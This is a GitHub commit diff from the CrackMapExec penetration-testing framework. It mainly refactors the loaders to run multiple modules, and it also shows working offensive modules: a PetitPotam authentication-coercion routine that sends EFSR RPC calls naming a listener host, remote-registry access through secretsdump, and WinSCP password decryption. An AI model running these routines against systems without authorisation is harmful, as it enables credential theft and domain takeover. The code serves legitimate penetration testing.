Merge pull request #19 from mpgn/modules_marshall

Modules Update
main
mpgn 2023-03-30 12:28:09 +02:00 committed by GitHub
commit 1af5780416
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
14 changed files with 691 additions and 485 deletions

View File

@ -4,16 +4,17 @@
import argparse import argparse
import sys import sys
from argparse import RawTextHelpFormatter from argparse import RawTextHelpFormatter
from cme.loaders.protocol_loader import protocol_loader from cme.loaders.protocolloader import ProtocolLoader
from cme.helpers.logger import highlight from cme.helpers.logger import highlight
from termcolor import colored from termcolor import colored
def gen_cli_args(): def gen_cli_args():
VERSION = '5.4.6' VERSION = '5.4.6'
CODENAME = "Bruce Wayne" CODENAME = "Bruce Wayne"
p_loader = protocol_loader() p_loader = ProtocolLoader()
protocols = p_loader.get_protocols() protocols = p_loader.get_protocols()
parser = argparse.ArgumentParser(description=f""" parser = argparse.ArgumentParser(description=f"""
@ -64,7 +65,7 @@ def gen_cli_args():
module_parser = argparse.ArgumentParser(add_help=False) module_parser = argparse.ArgumentParser(add_help=False)
mgroup = module_parser.add_mutually_exclusive_group() mgroup = module_parser.add_mutually_exclusive_group()
mgroup.add_argument("-M", "--module", metavar='MODULE', help='module to use') mgroup.add_argument("-M", "--module", action='append', metavar='MODULE', help='module to use')
#mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') #mgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run')
module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options') module_parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='module options')
module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules') module_parser.add_argument('-L', '--list-modules', action='store_true', help='list available modules')
@ -84,7 +85,6 @@ def gen_cli_args():
args = parser.parse_args() args = parser.parse_args()
if args.version: if args.version:
print(VERSION + " - " + CODENAME) print(VERSION + " - " + CODENAME)
sys.exit(1) sys.exit(1)

View File

@ -11,7 +11,7 @@ import requests
from sqlalchemy import create_engine from sqlalchemy import create_engine
from terminaltables import AsciiTable from terminaltables import AsciiTable
import configparser import configparser
from cme.loaders.protocol_loader import protocol_loader from cme.loaders.protocolloader import ProtocolLoader
from cme.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR from cme.paths import CONFIG_PATH, WS_PATH, WORKSPACE_DIR
from requests import ConnectionError from requests import ConnectionError
from sqlalchemy.exc import SAWarning from sqlalchemy.exc import SAWarning
@ -345,7 +345,7 @@ class CMEDBMenu(cmd.Cmd):
self.conn = None self.conn = None
self.p_loader = protocol_loader() self.p_loader = ProtocolLoader()
self.protocols = self.p_loader.get_protocols() self.protocols = self.p_loader.get_protocols()
self.workspace = self.config.get('CME', 'workspace') self.workspace = self.config.get('CME', 'workspace')
@ -460,7 +460,7 @@ def initialize_db(logger):
logger.info('Creating default workspace') logger.info('Creating default workspace')
os.mkdir(os.path.join(WS_PATH, 'default')) os.mkdir(os.path.join(WS_PATH, 'default'))
p_loader = protocol_loader() p_loader = ProtocolLoader()
protocols = p_loader.get_protocols() protocols = p_loader.get_protocols()
for protocol in protocols.keys(): for protocol in protocols.keys():
try: try:

View File

@ -127,28 +127,33 @@ class connection(object):
r = getattr(self, k)() r = getattr(self, k)()
def call_modules(self): def call_modules(self):
module_logger = CMEAdapter(extra={ for module in self.module:
'module': self.module.name.upper(), logging.debug(f"Loading module {module}")
'host': self.host, module_logger = CMEAdapter(extra={
'port': self.args.port, 'module': module.name.upper(),
'hostname': self.hostname 'host': self.host,
}) 'port': self.args.port,
'hostname': self.hostname
})
context = Context(self.db, module_logger, self.args) context = Context(self.db, module_logger, self.args)
context.localip = self.local_ip context.localip = self.local_ip
try:
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
self.server.connection = self
self.server.context.localip = self.local_ip
if hasattr(self.module, 'on_request') or hasattr(self.module, 'has_response'): if hasattr(module, 'on_login'):
self.server.connection = self module.on_login(context, self)
self.server.context.localip = self.local_ip
if hasattr(self.module, 'on_login'): if self.admin_privs and hasattr(module, 'on_admin_login'):
self.module.on_login(context, self) module.on_admin_login(context, self)
if self.admin_privs and hasattr(self.module, 'on_admin_login'): if (not hasattr(module, 'on_request') and not hasattr(module, 'has_response')) and hasattr(module,'on_shutdown'):
self.module.on_admin_login(context, self) module.on_shutdown(context, self)
except Exception as e:
if (not hasattr(self.module, 'on_request') and not hasattr(self.module, 'has_response')) and hasattr(self.module, 'on_shutdown'): self.logger.error(f"Error while loading module {module}: {e}")
self.module.on_shutdown(context, self) pass
def inc_failed_login(self, username): def inc_failed_login(self, username):
global global_failed_logins global global_failed_logins

View File

@ -11,8 +11,8 @@ from cme.parsers.ip import parse_targets
from cme.parsers.nmap import parse_nmap_xml from cme.parsers.nmap import parse_nmap_xml
from cme.parsers.nessus import parse_nessus_file from cme.parsers.nessus import parse_nessus_file
from cme.cli import gen_cli_args from cme.cli import gen_cli_args
from cme.loaders.protocol_loader import protocol_loader from cme.loaders.protocolloader import ProtocolLoader
from cme.loaders.module_loader import module_loader from cme.loaders.moduleloader import ModuleLoader
from cme.servers.http import CMEServer from cme.servers.http import CMEServer
from cme.first_run import first_run_setup from cme.first_run import first_run_setup
from cme.context import Context from cme.context import Context
@ -144,7 +144,7 @@ def main():
powershell.obfuscate_ps_scripts = True powershell.obfuscate_ps_scripts = True
logging.debug(f"Protocol: {args.protocol}") logging.debug(f"Protocol: {args.protocol}")
p_loader = protocol_loader() p_loader = ProtocolLoader()
protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_path = p_loader.get_protocols()[args.protocol]['path']
logging.debug(f"Protocol Path: {protocol_path}") logging.debug(f"Protocol Path: {protocol_path}")
protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']
@ -165,56 +165,61 @@ def main():
setattr(protocol_object, 'config', config) setattr(protocol_object, 'config', config)
if hasattr(args, 'module'): if hasattr(args, 'module'):
loader = module_loader(args, db, logger) loader = ModuleLoader(args, db, logger)
if args.list_modules: modules = loader.get_modules()
modules = loader.get_modules()
if args.list_modules:
for name, props in sorted(modules.items()): for name, props in sorted(modules.items()):
logger.info('{:<25} {}'.format(name, props['description'])) logger.info('{:<25} {}'.format(name, props['description']))
sys.exit(0) sys.exit(0)
elif args.module and args.show_module_options: elif args.module and args.show_module_options:
for module in args.module:
modules = loader.get_modules() logger.info(f"{module} module options:\n{modules[module]['options']}")
for name, props in modules.items():
if args.module.lower() == name.lower():
logger.info('{} module options:\n{}'.format(name, props['options']))
sys.exit(0) sys.exit(0)
elif args.module: elif args.module:
modules = loader.get_modules() logging.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}")
for name, props in modules.items(): for m in map(str.lower, args.module):
if args.module.lower() == name.lower(): if m not in modules:
module = loader.init_module(props['path']) logger.error(f"Module not found: {m}")
setattr(protocol_object, 'module', module) exit(1)
break
if not module: logging.debug(f"Loading module {m} at path {modules[m]['path']}")
logger.error('Module not found') module = loader.init_module(modules[m]['path'])
exit(1)
if getattr(module, 'opsec_safe') is False: if not module.opsec_safe:
ans = input(highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) ans = input(
if ans.lower() not in ['y', 'yes', '']: highlight('[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red'))
sys.exit(1) if ans.lower() not in ['y', 'yes', '']:
sys.exit(1)
if getattr(module, 'multiple_hosts') is False and len(targets) > 1: if not module.multiple_hosts and len(targets) > 1:
ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) ans = input(highlight("[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red'))
if ans.lower() not in ['y', 'yes', '']: if ans.lower() not in ['y', 'yes', '']:
sys.exit(1) sys.exit(1)
if hasattr(module, 'on_request') or hasattr(module, 'has_response'): if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):
args.server = module.required_server
if hasattr(module, 'required_server'): if not args.server_port:
args.server = getattr(module, 'required_server') args.server_port = server_port_dict[args.server]
if not args.server_port: # loading a module server multiple times will obviously fail
args.server_port = server_port_dict[args.server] try:
context = Context(db, logger, args)
module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server)
module_server.start()
protocol_object.server = module_server.server
except Exception as e:
logging.debug(f"Error loading module server for {module}: {e}")
context = Context(db, logger, args) logging.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}")
module_server = CMEServer(module, context, logger, args.server_host, args.server_port, args.server) logging.debug(f"proto object dir: {dir(protocol_object)}")
module_server.start() # get currently set modules, otherwise default to empty list
setattr(protocol_object, 'server', module_server.server) current_modules = getattr(protocol_object, 'module', [])
current_modules.append(module)
setattr(protocol_object, 'module', current_modules)
logging.debug(f"proto object module after adding: {protocol_object.module}")
if hasattr(args, 'ntds') and args.ntds and not args.userntds: if hasattr(args, 'ntds') and args.ntds and not args.userntds:
ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red')) ans = input(highlight('[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user <user> to dump a specific user safely or the module -M ntdsutil [Y/n] ', 'red'))

View File

@ -1,16 +1,15 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import imp import importlib
import types import logging
from importlib.machinery import SourceFileLoader
import os import os
import sys
import cme import cme
from cme.context import Context from cme.context import Context
from cme.logger import CMEAdapter from cme.logger import CMEAdapter
class module_loader: class ModuleLoader:
def __init__(self, args, db, logger): def __init__(self, args, db, logger):
self.args = args self.args = args
self.db = db self.db = db
@ -19,7 +18,6 @@ class module_loader:
def module_is_sane(self, module, module_path): def module_is_sane(self, module, module_path):
module_error = False module_error = False
if not hasattr(module, 'name'): if not hasattr(module, 'name'):
self.logger.error('{} missing the name variable'.format(module_path)) self.logger.error('{} missing the name variable'.format(module_path))
module_error = True module_error = True
@ -47,44 +45,44 @@ class module_loader:
if module_error: if module_error:
return False return False
return True return True
def load_module(self, module_path): def load_module(self, module_path):
try: try:
module = imp.load_source('payload_module', module_path).CMEModule() spec = importlib.util.spec_from_file_location("CMEModule", module_path)
module = spec.loader.load_module().CMEModule()
if self.module_is_sane(module, module_path): if self.module_is_sane(module, module_path):
return module return module
except Exception as e: except Exception as e:
self.logger.error('Failed loading module at {}: {}'.format(module_path, e)) self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
return None return None
def get_modules(self): def get_modules(self):
modules = {} modules = {}
modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')] modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')]
for path in modules_paths: for path in modules_paths:
for module in os.listdir(path): for module in os.listdir(path):
if module[-3:] == '.py' and module != 'example_module.py': if module[-3:] == '.py' and module != 'example_module.py':
module_path = os.path.join(path, module) module_path = os.path.join(path, module)
m = self.load_module(os.path.join(path, module)) m = self.load_module(module_path)
if m and (self.args.protocol in m.supported_protocols):
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
if m and (self.args.protocol in m.supported_protocols):
modules[m.name.lower()] = {
'path': module_path,
'description': m.description,
'options': m.options.__doc__
} # 'chain_support': m.chain_support}
return modules return modules
def init_module(self, module_path): def init_module(self, module_path):
module = None
module = None
module = self.load_module(module_path) module = self.load_module(module_path)
if module: if module:
module_logger = CMEAdapter(extra={'module': module.name.upper()}) module_logger = CMEAdapter(extra={'module': module.name.upper()})
context = Context(self.db, module_logger, self.args) context = Context(self.db, module_logger, self.args)
module_options = {} module_options = {}
for option in self.args.module_options: for option in self.args.module_options:
@ -92,5 +90,4 @@ class module_loader:
module_options[str(key).upper()] = value module_options[str(key).upper()] = value
module.options(context, module_options) module.options(context, module_options)
return module return module

View File

@ -6,7 +6,7 @@ import os
import cme import cme
class protocol_loader: class ProtocolLoader:
def __init__(self): def __init__(self):
self.cme_path = os.path.expanduser('~/.cme') self.cme_path = os.path.expanduser('~/.cme')
@ -14,7 +14,6 @@ class protocol_loader:
loader = SourceFileLoader('protocol', protocol_path) loader = SourceFileLoader('protocol', protocol_path)
protocol = types.ModuleType(loader.name) protocol = types.ModuleType(loader.name)
loader.exec_module(protocol) loader.exec_module(protocol)
#if self.module_is_sane(module, module_path):
return protocol return protocol
def get_protocols(self): def get_protocols(self):

View File

@ -2,7 +2,7 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import logging import logging
from impacket.dcerpc.v5.scmr import DCERPCSessionError from impacket.dcerpc.v5 import scmr
from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations from impacket.examples.secretsdump import RemoteOperations
@ -55,5 +55,7 @@ class CMEModule:
finally: finally:
try: try:
remote_ops.finish() remote_ops.finish()
except DCERPCSessionError as e: except scmr.DCERPCSessionError as e:
logging.debug(f"Received error while attempting to clean up logins: {e}") logging.debug(f"Received SessionError while attempting to clean up logins: {e}")
except Exception as e:
logging.debug(f"Received general exception while attempting to clean up logins: {e}")

View File

@ -1,48 +1,54 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import logging
from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError from impacket.dcerpc.v5.rrp import DCERPCSessionError
class CMEModule: class CMEModule:
''' """
Detect if the targets's LmCompatibilityLevel will allow NTLMv1 authentication Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
Module by @Tw1sm Module by @Tw1sm
''' """
name = 'ntlmv1' name = "ntlmv1"
description = 'Detect if lmcompatibilitylevel on the target is set to 0 or 1' description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
supported_protocols = ['smb'] supported_protocols = ["smb"]
opsec_safe= True opsec_safe = True
multiple_hosts = True multiple_hosts = True
def options(self, context, module_options): def options(self, context, module_options):
self.output = 'NTLMv1 allowed on: {} - LmCompatibilityLevel = {}' self.output = "NTLMv1 allowed on: {} - LmCompatibilityLevel = {}"
def on_admin_login(self, context, connection): def on_admin_login(self, context, connection):
try: try:
remoteOps = RemoteOperations(connection.conn, False) remote_ops = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry() remote_ops.enableRegistry()
if remoteOps._RemoteOperations__rrp: if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
regHandle = ans['phKey'] reg_handle = ans["phKey"]
ans = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
)
key_handle = ans['phkResult']
rtype = None
data = None
try:
rtype, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"lmcompatibilitylevel\x00"
)
except rrp.DCERPCSessionError as e:
logging.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') if rtype and data and int(data) in [0, 1, 2]:
keyHandle = ans['phkResult']
rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'lmcompatibilitylevel\x00')
if int(data) in [0, 1, 2]:
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data)) context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
try:
remoteOps.finish()
except:
pass
except DCERPCSessionError as e: except DCERPCSessionError as e:
try: logging.debug(f"Error connecting to RemoteRegistry: {e}")
remoteOps.finish() finally:
except: remote_ops.finish()
pass

View File

@ -5,6 +5,8 @@
# Module by @mpgn_x64 # Module by @mpgn_x64
import logging import logging
import sys
from impacket import system_errors from impacket import system_errors
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
@ -19,7 +21,7 @@ class CMEModule:
description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam" description = "Module to check if the DC is vulnerable to PetitPotam, credit to @topotam"
supported_protocols = ['smb'] supported_protocols = ['smb']
opsec_safe = True opsec_safe = True
multiple_hosts = False multiple_hosts = True
def options(self, context, module_options): def options(self, context, module_options):
''' '''
@ -28,15 +30,25 @@ class CMEModule:
''' '''
self.listener = "127.0.0.1" self.listener = "127.0.0.1"
if 'LISTENER' in module_options: if 'LISTENER' in module_options:
self.listener = module_options['LISTENER'] self.listener = module_options['LISTENER']
self.pipe = "lsarpc" self.pipe = "lsarpc"
if 'PIPE' in module_options: if 'PIPE' in module_options:
self.pipe = module_options['PIPE'] self.pipe = module_options['PIPE']
def on_login(self, context, connection): def on_login(self, context, connection):
plop = CoerceAuth() dce = coerce(
dce = plop.connect(connection.username, password=connection.password, domain=connection.domain, lmhash=connection.lmhash, nthash=connection.nthash, target=connection.host, pipe=self.pipe, targetIp=connection.host, doKerberos=connection.kerberos, dcHost=connection.kdcHost) connection.username,
if plop.EfsRpcOpenFileRaw(dce, self.listener): password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host
)
if efs_rpc_open_file_raw(dce, self.listener):
context.log.highlight("VULNERABLE") context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/topotam/PetitPotam") context.log.highlight("Next step: https://github.com/topotam/PetitPotam")
try: try:
@ -109,6 +121,7 @@ class ENCRYPTION_CERTIFICATE_HASH(NDRSTRUCT):
('Display', LPWSTR), ('Display', LPWSTR),
) )
class ENCRYPTION_CERTIFICATE(NDRSTRUCT): class ENCRYPTION_CERTIFICATE(NDRSTRUCT):
structure = ( structure = (
('Lenght', DWORD), ('Lenght', DWORD),
@ -135,13 +148,6 @@ class ENCRYPTED_FILE_METADATA_SIGNATURE(NDRSTRUCT):
) )
class EFS_RPC_BLOB(NDRSTRUCT):
structure = (
('Data', DWORD),
('cbData', PCHAR),
)
class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT): class ENCRYPTION_CERTIFICATE_LIST(NDRSTRUCT):
align = 1 align = 1
structure = ( structure = (
@ -179,90 +185,90 @@ class EfsRpcEncryptFileSrvResponse(NDRCALL):
('ErrorCode', ULONG), ('ErrorCode', ULONG),
) )
class CoerceAuth:
def connect(self, username, password, domain, lmhash, nthash, target, pipe, targetIp, doKerberos, dcHost):
binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if targetIp: def coerce(username, password, domain, lmhash, nthash, target, pipe, do_kerberos, dc_host, target_ip=None):
rpctransport.setRemoteHost(targetIp) binding_params = {
'lsarpc': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsarpc]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'efsr': {
'stringBinding': r'ncacn_np:%s[\PIPE\efsrpc]' % target,
'MSRPC_UUID_EFSR': ('df1941c5-fe89-4e79-bf10-463657acf44d', '1.0')
},
'samr': {
'stringBinding': r'ncacn_np:%s[\PIPE\samr]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'lsass': {
'stringBinding': r'ncacn_np:%s[\PIPE\lsass]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
'netlogon': {
'stringBinding': r'ncacn_np:%s[\PIPE\netlogon]' % target,
'MSRPC_UUID_EFSR': ('c681d488-d850-11d0-8c52-00c04fd90f7e', '1.0')
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]['stringBinding'])
if hasattr(rpc_transport, 'set_credentials'):
rpc_transport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
dce = rpctransport.get_dce_rpc() if target_ip:
dce.set_auth_type(RPC_C_AUTHN_WINNT) rpc_transport.setRemoteHost(target_ip)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if doKerberos: dce = rpc_transport.get_dce_rpc()
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding']) if do_kerberos:
try: rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.connect() dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
except Exception as e:
logging.debug("Something went wrong, check error status => %s" % str(e)) logging.debug("[-] Connecting to %s" % binding_params[pipe]['stringBinding'])
sys.exit() try:
logging.debug("[+] Connected!") dce.connect()
logging.debug("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0]) except Exception as e:
try: logging.debug("Something went wrong, check error status => %s" % str(e))
dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR'])) sys.exit()
except Exception as e: logging.debug("[+] Connected!")
logging.debug("Something went wrong, check error status => %s" % str(e)) logging.debug("[+] Binding to %s" % binding_params[pipe]['MSRPC_UUID_EFSR'][0])
sys.exit() try:
logging.debug("[+] Successfully bound!") dce.bind(uuidtup_to_bin(binding_params[pipe]['MSRPC_UUID_EFSR']))
return dce except Exception as e:
logging.debug("Something went wrong, check error status => %s" % str(e))
def EfsRpcOpenFileRaw(self, dce, listener): sys.exit()
logging.debug("[-] Sending EfsRpcOpenFileRaw!") logging.debug("[+] Successfully bound!")
try: return dce
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0 def efs_rpc_open_file_raw(dce, listener):
#request.dump() logging.debug("[-] Sending EfsRpcOpenFileRaw!")
resp = dce.request(request) try:
request = EfsRpcOpenFileRaw()
except Exception as e: request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
if str(e).find('ERROR_BAD_NETPATH') >= 0: request['Flag'] = 0
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!') resp = dce.request(request)
logging.debug('[+] Attack worked!')
return True except Exception as e:
if str(e).find('rpc_s_access_denied') >= 0: if str(e).find('ERROR_BAD_NETPATH') >= 0:
logging.debug('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!') logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
logging.debug('[+] OK! Using unpatched function!') logging.debug('[+] Attack worked!')
logging.debug("[-] Sending EfsRpcEncryptFileSrv!") return True
try: if str(e).find('rpc_s_access_denied') >= 0:
request = EfsRpcEncryptFileSrv() logging.debug('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener logging.debug('[+] OK! Using unpatched function!')
resp = dce.request(request) logging.debug("[-] Sending EfsRpcEncryptFileSrv!")
except Exception as e: try:
if str(e).find('ERROR_BAD_NETPATH') >= 0: request = EfsRpcEncryptFileSrv()
logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!') request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
logging.debug('[+] Attack worked!') resp = dce.request(request)
return True except Exception as e:
else: if str(e).find('ERROR_BAD_NETPATH') >= 0:
logging.debug("Something went wrong, check error status => %s" % str(e)) logging.debug('[+] Got expected ERROR_BAD_NETPATH exception!!')
logging.debug('[+] Attack worked!')
else: return True
logging.debug("Something went wrong, check error status => %s" % str(e)) else:
logging.debug("Something went wrong, check error status => %s" % str(e))
else:
logging.debug("Something went wrong, check error status => %s" % str(e))

View File

@ -7,6 +7,7 @@
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb # - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
import traceback import traceback
from typing import Tuple
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations from impacket.examples.secretsdump import RemoteOperations
@ -105,7 +106,7 @@ class CMEModule:
clearpass = clearpass[len(key):] clearpass = clearpass[len(key):]
return clearpass return clearpass
def dec_next_char(self, passBytes) -> tuple[int, bytes]: def dec_next_char(self, passBytes) -> "Tuple[int, bytes]":
""" """
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes. Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
Parameters Parameters

View File

@ -35,20 +35,23 @@ from pywerview.cli.helpers import *
from re import sub, I from re import sub, I
from zipfile import ZipFile from zipfile import ZipFile
from OpenSSL.SSL import SysCallError
ldap_error_status = { ldap_error_status = {
"1":"STATUS_NOT_SUPPORTED", "1": "STATUS_NOT_SUPPORTED",
"533":"STATUS_ACCOUNT_DISABLED", "533": "STATUS_ACCOUNT_DISABLED",
"701":"STATUS_ACCOUNT_EXPIRED", "701": "STATUS_ACCOUNT_EXPIRED",
"531":"STATUS_ACCOUNT_RESTRICTION", "531": "STATUS_ACCOUNT_RESTRICTION",
"530":"STATUS_INVALID_LOGON_HOURS", "530": "STATUS_INVALID_LOGON_HOURS",
"532":"STATUS_PASSWORD_EXPIRED", "532": "STATUS_PASSWORD_EXPIRED",
"773":"STATUS_PASSWORD_MUST_CHANGE", "773": "STATUS_PASSWORD_MUST_CHANGE",
"775":"USER_ACCOUNT_LOCKED", "775": "USER_ACCOUNT_LOCKED",
"50":"LDAP_INSUFFICIENT_ACCESS", "50": "LDAP_INSUFFICIENT_ACCESS",
"KDC_ERR_CLIENT_REVOKED":"KDC_ERR_CLIENT_REVOKED", "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED":"KDC_ERR_PREAUTH_FAILED" "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED"
} }
def resolve_collection_methods(methods): def resolve_collection_methods(methods):
""" """
Convert methods (string) to list of validated methods to resolve Convert methods (string) to list of validated methods to resolve
@ -177,29 +180,44 @@ class ldap(connection):
def proto_logger(self): def proto_logger(self):
self.logger = CMEAdapter(extra={ self.logger = CMEAdapter(extra={
'protocol': "SMB", 'protocol': "SMB",
'host': self.host, 'host': self.host,
'port': "445", 'port': "445",
'hostname': self.hostname 'hostname': self.hostname
}) })
def get_ldap_info(self, host): def get_ldap_info(self, host):
try: try:
proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap" proto = "ldaps" if (self.args.gmsa or self.args.port == 636) else "ldap"
ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % host) ldap_url = f"{proto}://{host}"
logging.debug(f"Connecting to {ldap_url} - {self.baseDN} [0]")
try:
ldap_connection = ldap_impacket.LDAPConnection(ldap_url)
except SysCallError as e:
if proto == "ldaps":
logging.debug(f"LDAPs connection to {ldap_url} failed - {e}")
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
logging.debug(f"Even if the port is open, LDAPS may not be configured")
else:
logging.debug(f"LDAP connection to {ldap_url} failed: {e}")
return [None, None, None]
resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0) resp = ldap_connection.search(
scope=ldapasn1_impacket.Scope('baseObject'),
attributes=['defaultNamingContext', 'dnsHostName'],
sizeLimit=0
)
for item in resp: for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue continue
target = None target = None
targetDomain = None target_domain = None
baseDN = None base_dn = None
try: try:
for attribute in item['attributes']: for attribute in item['attributes']:
if str(attribute['type']) == 'defaultNamingContext': if str(attribute['type']) == 'defaultNamingContext':
baseDN = str(attribute['vals'][0]) base_dn = str(attribute['vals'][0])
